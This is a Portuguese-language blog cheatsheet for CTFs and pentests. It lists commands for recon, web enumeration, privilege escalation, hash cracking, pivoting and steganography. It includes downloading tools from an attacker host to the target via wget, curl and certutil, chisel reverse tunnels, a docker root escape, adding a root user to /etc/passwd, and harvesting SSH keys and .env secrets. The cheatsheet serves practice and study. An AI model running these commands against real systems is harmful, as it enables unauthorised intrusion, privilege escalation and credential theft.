Skip to main content

Cheatsheet para CTFs (e pentests)

·1515 words·8 mins

CTF Cheatsheet
#

Criei essa cheatsheet depois de passar vários momentos em CTFs tentando lembrar ferramentas, comandos e qual caminho seguir. Para facilitar a minha vida, organizei tudo numa sequência lógica e com informações bem diretas ao ponto.

Espero que ajude nos próximos desafios. Boa sorte no hacking!

1. Reconhecimento inicial — Nmap
#

nmap -p- --min-rate=5000 -T4 -Pn --open -oN nmap-allports.txt <IP>
nmap -p <portas> -sC -sV -oN nmap-detailed.txt <IP>
nmap -sU --top-ports 100 -oN nmap-udp.txt <IP>
nmap -p <portas> --script vuln -oN nmap-vuln.txt <IP>
nmap -sn <IP>/24

2. Serviço Web
#

2.1 Fingerprint
#

whatweb <URL>
curl -I <URL>

Wappalyzer (extensão navegador).

2.2 Manual
#

  • Ctrl+U, comentários HTML, JS files
  • robots.txt, sitemap.xml, /.well-known/
  • Cookies, headers, formulários, uploads, parâmetros de URL

2.3 .git exposto
#

curl -s <URL>/.git/HEAD
git-dumper <URL>/.git/ ./dump    # ou githacker

2.4 .env exposto (direto pela web, antes de ter shell)
#

curl -s <URL>/.env
curl -s <URL>/.env.bak
curl -s <URL>/.env.local
curl -s <URL>/config/.env

2.5 Nikto
#

nikto -h <URL>

2.6 Diretórios / arquivos
#

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster.txt
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raw-medium-directories.txt -e .php,.html,.txt

2.7 Virtual Host fuzzing
#

ffuf -u http://<IP> -H "Host: FUZZ.<dominio>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <tamanho_resposta_padrao>

2.8 Subdomínios
#

gobuster dns -d <dominio.com> -w /usr/share/wordlists/subdomains-top1million-5000.txt
ffuf -u http://FUZZ.<dominio.com> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
subfinder -d <dominio.com>
amass enum -passive -d <dominio.com>

Subdomínio novo → adicionar em /etc/hosts.

2.9 Outras checagens
#

  • CMS: wpscan --url <URL> --enumerate u,vp,vt
  • Login panels: creds padrão / SQLi básico (' OR 1=1 -- -)
  • Upload: bypass de extensão pra RCE
  • LFI/RFI: ?page=, ?file=
  • API/Swagger: /api, /swagger.json, /graphql
  • SSTI, XXE
  • JWT: jwt_tool

3. Exploits conhecidos
#

searchsploit <servico> <versao>
searchsploit -m <caminho_exploit>

msfconsole -q
search <servico/versao>
use <modulo>
set RHOSTS <IP>
run
# SMB
smbclient -L //<IP>/ -N
enum4linux -a <IP>
crackmapexec smb <IP>

Checar CVE em: FTP (vsftpd, ProFTPd), SMB (EternalBlue, SambaCry), SSH antigo, SNMP, Redis sem auth, RDP (BlueKeep).


4. Shell inicial
#

4.1 Estabilizar TTY
#

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL+Z no shell reverso
stty raw -echo; fg
# Enter, depois:
reset

Alternativas:

script /dev/null -c bash
perl -e 'exec "/bin/sh";'
/bin/sh -i

4.2 Vasculhar
#

find / -writable -type d 2>/dev/null
find / -name "*.txt" -o -name "*.conf" 2>/dev/null | grep -v "Permission denied"
cat /etc/passwd
history
ls -la /home/* /var/www /opt /tmp 2>/dev/null

4.3 Transferência de arquivos
#

# atacante
python3 -m http.server 8000

# alvo Linux
wget http://<IP_atacante>:8000/linpeas.sh -O /tmp/linpeas.sh
curl http://<IP_atacante>:8000/linpeas.sh -o /tmp/linpeas.sh

# alvo Windows
certutil -urlcache -f http://<IP_atacante>:8000/winpeas.exe winpeas.exe

5. Privilege Escalation — Linux
#

5.1 Enumeração base
#

sudo -l
find / -perm -4000 -type f 2>/dev/null      # SUID
find / -perm -2000 -type f 2>/dev/null      # SGID
getcap -r / 2>/dev/null                     # capabilities
ps aux
crontab -l; cat /etc/crontab
uname -a; cat /etc/os-release
id; groups
netstat -tulpn 2>/dev/null || ss -tulpn
cat /etc/fstab
find / -writable -not -path "/proc/*" 2>/dev/null

GTFOBins (https://gtfobins.github.io) — checar SUID/sudo com bypass conhecido.

5.2 Timers systemd (substituto moderno de cron)
#

systemctl list-timers --all
systemctl cat <timer>.timer
systemctl cat <service>.service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null

5.3 pspy — monitora processos root em tempo real (sem precisar de privilégio)
#

./pspy64

5.4 Kernel exploits
#

./linux-exploit-suggester.sh

5.5 Wildcard injection (cron/script root usando *)
#

# ex: script root faz "tar czf backup.tar.gz *" em dir writable
# injetar arquivos com nomes de flags do tar pra RCE

5.6 Grupos perigosos
#

id   # atenção a: docker, lxd, disk, adm, shadow

# docker group -> root via bind mount
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

5.7 NFS no_root_squash
#

# no alvo
cat /etc/exports 2>/dev/null
# no atacante
showmount -e <IP>

5.8 SSH keys esquecidas
#

find / -name "id_rsa*" -o -name "authorized_keys" 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null

5.9 /etc/passwd writable
#

openssl passwd -1 -salt xyz senha123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

5.10 PATH hijacking
#

echo $PATH
# binário malicioso com mesmo nome em dir writable que vem antes no PATH

5.11 Scripts automatizados
#

linpeas.sh
linenum.sh

6. Privilege Escalation — Windows
#

whoami /priv
whoami /groups
systeminfo
net user
net localgroup administrators
tasklist /svc
schtasks /query /fo LIST /v
icacls "C:\caminho"
reg query HKLM\SYSTEM\CurrentControlSet\Services\<servico>

Checar: serviços com permissão de escrita, AlwaysInstallElevated, unquoted service paths, tokens/impersonation (JuicyPotato/PrintSpoofer), senhas em config.

winPEAS.exe
PowerUp.ps1  # Invoke-AllChecks

Se houver Active Directory no CTF:

SharpHound.exe -c All
Rubeus.exe kerberoast

7. Pós-exploração
#

7.1 Senhas / segredos em arquivos
#

grep -ri "password" /etc /var /opt -R 2>/dev/null
find / -name "*.kdbx" -o -name "id_rsa" 2>/dev/null

7.2 .env / configs de app (busca dedicada)
#

find / -name ".env" -o -name "*.env*" 2>/dev/null
find / -name "config.php" -o -name "settings.py" -o -name "wp-config.php" 2>/dev/null

# Se achar app em /var/www, /opt, /srv — olhar direto
cat /var/www/html/.env 2>/dev/null

# .env costuma vazar: DB_PASSWORD, API_KEY, AWS_SECRET_ACCESS_KEY, JWT_SECRET
grep -E "PASSWORD|SECRET|KEY|TOKEN" /var/www/html/.env 2>/dev/null
# -> testar credencial reutilizada: mysql/postgres local, painel web, SSH do mesmo user

7.3 Persistência (se necessário no CTF)
#

cat ~/.ssh/authorized_keys

7.4 Flag
#

cat /root/root.txt   # ou proof.txt, flag.txt etc

7.5 Quebra de hash
#

Identificar o tipo de hash primeiro:

hash-identifier
hashid hash.txt                      # alternativa mais atualizada, aceita arquivo

John the Ripper:

john --wordlist=rockyou.txt hash.txt
john --format=<formato> --wordlist=rockyou.txt hash.txt   # forçar formato (ex: sha512crypt, nt, raw-md5)
john --rules --wordlist=rockyou.txt hash.txt               # aplica regras (leet, maiúsculas, sufixos)
john --show hash.txt                                        # lista as senhas já quebradas

# gerar o arquivo de hash a partir de formatos comuns antes de rodar o john
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
zip2john arquivo.zip > zip.hash && john zip.hash
rar2john arquivo.rar > rar.hash && john rar.hash
ssh2john id_rsa > ssh.hash && john ssh.hash
office2john arquivo.docx > office.hash && john office.hash

Hashcat (mais rápido, usa GPU):

hashcat -m <modo> hash.txt rockyou.txt               # -a 0 (wordlist) é o padrão
hashcat --example-hashes | grep -i -A2 "<algoritmo>"  # descobrir o número do -m
hashcat -a 3 -m <modo> hash.txt '?a?a?a?a?a?a'       # -a 3 = bruteforce por máscara
hashcat -a 0 -m <modo> hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <modo> hash.txt --show                    # mostra os já quebrados
hashcat -m <modo> hash.txt --show -o cracked.txt      # salva o resultado em arquivo

# modos (-m) mais comuns em CTF
# 0     MD5
# 100   SHA1
# 1400  SHA256
# 1800  sha512crypt ($6$, /etc/shadow)
# 3200  bcrypt ($2y$/$2a$)
# 1000  NTLM
# 5600  NetNTLMv2
# 13100 Kerberoast (krb5tgs)

7.6 Pivoting
#

SSH tunneling (quando já tem creds/chave SSH pro pivot — prioridade, não precisa subir binário)

# -L: Local port forward — acessar serviço interno específico como se fosse local
# Ex: pivot enxerga MySQL em 10.10.10.5:3306 que você não alcança direto
ssh -L 3306:10.10.10.5:3306 user@<IP_pivot>
# no seu Kali:
mysql -h 127.0.0.1 -P 3306 -u root -p

# -D: Dynamic port forward (SOCKS proxy) — pra varrer a rede interna inteira
ssh -D 1080 user@<IP_pivot>
# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains curl http://10.10.10.5

# -R: Remote port forward — expõe serviço seu pro pivot conectar de volta
ssh -R 4444:127.0.0.1:4444 user@<IP_pivot>

# Combo com chave roubada, sem TTY interativo
ssh -i id_rsa -L 8080:localhost:80 -N user@<IP_pivot>   # -N = só forward, sem shell

-L quando já sabe o serviço/porta interna alvo. -D quando quer varrer a rede toda (nmap/gobuster contra hosts internos).

Chisel / sshuttle (quando NÃO tem SSH, só shell reverso)

# atacante
chisel server -p 8000 --reverse
# alvo
chisel client <IP_atacante>:8000 R:socks
proxychains nmap -sT -Pn <IP_interno>

# alternativa
sshuttle -r user@<IP> 10.10.10.0/24

8. Forense / Esteganografia (arquivos suspeitos)
#

Rodar em qualquer arquivo que pareça fora do lugar: imagem baixada do site, anexo, arquivo achado no shell (/var/www, /home, /tmp, diretório de upload etc).

8.1 Binwalk — identifica e extrai arquivos/filesystems embutidos
#

binwalk arquivo.jpg              # escaneia assinaturas embutidas (zip, filesystem, executável...)
binwalk -e arquivo.jpg           # extrai o que encontrar (pasta _arquivo.jpg.extracted/)
binwalk -Me arquivo.jpg          # extração recursiva (Matryoshka: extrai de dentro do que já extraiu)
binwalk --dd='.*' arquivo.jpg    # força extração de qualquer assinatura que casar

8.2 Steghide — embute/extrai dados escondidos (LSB) em JPEG/BMP/WAV/AU
#

steghide info arquivo.jpg                       # mostra se há dado embutido e o formato
steghide extract -sf arquivo.jpg                # extrai (pede senha; Enter = senha vazia)
steghide extract -sf arquivo.jpg -p "senha"     # extrai com senha já conhecida
steghide embed -cf arquivo.jpg -ef segredo.txt  # embutir (útil pra testar/recriar um challenge)

# steghide não tem bruteforce nativo de senha -> usar:
stegseek arquivo.jpg rockyou.txt     # fork moderno do stegcracker, bem mais rápido
stegcracker arquivo.jpg rockyou.txt  # alternativa mais antiga/lenta

8.3 Ferramentas complementares
#

exiftool arquivo.jpg           # metadados EXIF (comentários, GPS, autor, software usado)
strings arquivo.jpg | less     # texto legível embutido no binário
file arquivo.jpg                # confirma o tipo real do arquivo vs a extensão
zsteg arquivo.png               # equivalente ao steghide, focado em PNG/BMP
foremost -i arquivo -o saida/  # recupera arquivos por assinatura (parecido com binwalk -e)

9. Notas gerais
#

  • Anotar IP, portas, versões, credenciais num notes.md conforme avança.
  • Testar reuso de credenciais entre serviços (SSH, FTP, painel web, .env).
  • Ao trocar de shell (netcat → SSH), matar processos antigos.
  • tmux/screen pra não perder sessão de shell reversa.
Enrico Moreno
Author
Enrico Moreno